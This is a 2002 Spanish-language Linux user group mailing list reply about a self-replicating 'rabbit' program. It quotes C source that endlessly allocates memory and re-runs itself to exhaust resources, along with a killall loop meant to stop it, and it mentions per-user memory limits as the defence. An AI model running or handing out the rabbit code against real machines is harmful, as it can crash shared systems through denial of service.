[LUG.ro] Un programita muy dan~ino.

Horacio Castellini lugro@lugro.org.ar
Tue, 10 Dec 2002 09:52:52 -0300 (ART)


 --- David Cortarello <nomius@kernel.net> escribió: > 

Truco viejo de llamadas de un programa que agota la
memoria... por autollamadas... Eso se puede detener
limitando la memoria asiganada para cada usuario, en
freeBSD se resuleve facil en linux no encontré la
forma. Perdón si la hay y es limitando la mamoria
vistual para cada usuario.



l
> mismo podrá detenerlo, dado que tirará que no hay
> recursos suficientes para correr el programa, el
> anticonejo funciona y corre antes que el conejo por
> el hecho de que el conejo tiene que realizar una
> sentencia más (el hecho de tener que alojar
> memoria).
> 
> 
> -------------------Código Conejo-------------------
> 
> 
> /*
>   Guardar como rabbit.c
>   Compilar con gcc rabbit.c -o rabbit
>   Programado con fines educativos
> */
> 
> #include <stdio.h>
> #include <stdlib.h>
> 
> int main (void) 
> {
>     int *ptr;
>     for(;;)
>         {
>         ptr = malloc(2000000);
>         system("./rabbit");
>         }
>     return 0;
> }
> 
> 
> 
> -------------------Código
> AntiConejo-------------------
> 
> 
> /*
>   Guardar como anticonejo.c
>   Compilar con gcc anticonejo.c -o anticonejo
>   Ejecutar con ./anticonejo
>   Programado con fines educativos
> */
> 
> #include <stdio.h>
> #include <stdlib.h>
> 
> int main (void) 
> {
>     for(;;)
>         {
>         system("killall rabbit");
>         }
>     return 0;
> }
> 
> 
> Comento que también realicé una versión para
> güindou$$$ que realiza la misma tarea que se realiza
> en Linux, con el hecho de que no se como matar un
> proceso en güindou$$$, en tal sentido no he hecho un
> 'anticonejo' para este 'OS' (¿OS?).
> 
> _______________________________________________
> Lugro mailing list
> Lugro@lugro.org.ar
> http://www.lugro.org.ar/mailman/listinfo/lugro 

Ahora podés usar Yahoo! Messenger desde tu celular. Aprendé cómo hacerlo en Yahoo! Móvil: http://ar.mobile.yahoo.com/sms.html